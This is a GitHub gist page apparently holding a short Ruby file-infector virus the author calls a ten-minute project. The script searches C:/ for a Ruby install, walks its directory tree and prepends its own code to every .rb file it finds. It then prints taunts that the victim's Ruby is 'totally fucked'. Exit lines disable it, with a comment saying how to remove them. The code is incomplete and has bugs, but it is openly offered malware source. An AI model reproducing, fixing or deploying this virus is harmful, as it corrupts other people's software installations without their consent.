Skip to content

Instantly share code, notes, and snippets.

@thomasjslone
Last active March 24, 2023 22:00
Show Gist options
  • Save thomasjslone/41d0c29f6841dd32076751caddc14fe2 to your computer and use it in GitHub Desktop.
Save thomasjslone/41d0c29f6841dd32076751caddc14fe2 to your computer and use it in GitHub Desktop.
got bored and wrote this in like ten minutes.
INFECTED=TRUE
exit ## remove this to run and line 35
SELF_CODE = ""
maybe_ruby = []; Dir.entries("C:/")[2..-1].each { |e| if e.downcase[0..3] == "ruby; maybe_ruby << e; end }
target=nil
maybe_ruby.each do |r|
p="C:/"+r
if File.directory?(p+"/bin") and File.file?(p+"/bin/ruby.exe"); target = p; break; end
end
if target == nil; exit; end ## failed to find a ruby install to infect
if File.writable?(target) == false; exit ## we could do "something" about this but sorry lol not in this example.
end
dir = target
cur = nil ; rem = [dir.to_s] ; fi = [] ; fo = [] ; ex = []
until rem.length == 0
cur = rem[0].to_s ; rem.delete_at(0)
begin ; cont = Dir.entries(cur.to_s) ; cont.delete(".") ; cont.delete("..")
if cont.length > 0
cont.each do |p|
if File.file?(cur.to_s + "/" + p.to_s) ; fi << cur.to_s + "/" + p.to_s
elsif File.directory?(cur.to_s + "/" + p.to_s) ; fo << cur.to_s + "/" + p.to_s ; rem << fo[-1]
end
end
end
rescue
ex << cur
end
end
infected = 0
infectables = []
fi.each { |f| if f.downcase.end_with?(".rb"); infectables << f; end; }
exit
infectables.each do |f|
begin
ffi = File.open(f,"r"); dat=f.read; f.close
if dat.split("\n")[0].downcase == "infected=true"; next; end
ffi = File.open(f,"w"); f.write(SELF_CODE+"\n\n\n#\n#\n\n\n"+dat.to_s); f.close
infected += 1
rescue
end
end
if infected==0
puts "Damn bro...i dont know what happened."
elsif infected > 25
puts "Lol your ruby is probably not going to work any more."
elsif infected > 75
puts "LMAO your ruby is totally fucked, it should run maybe but have fun with that."
end
sleep 0.75; exit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment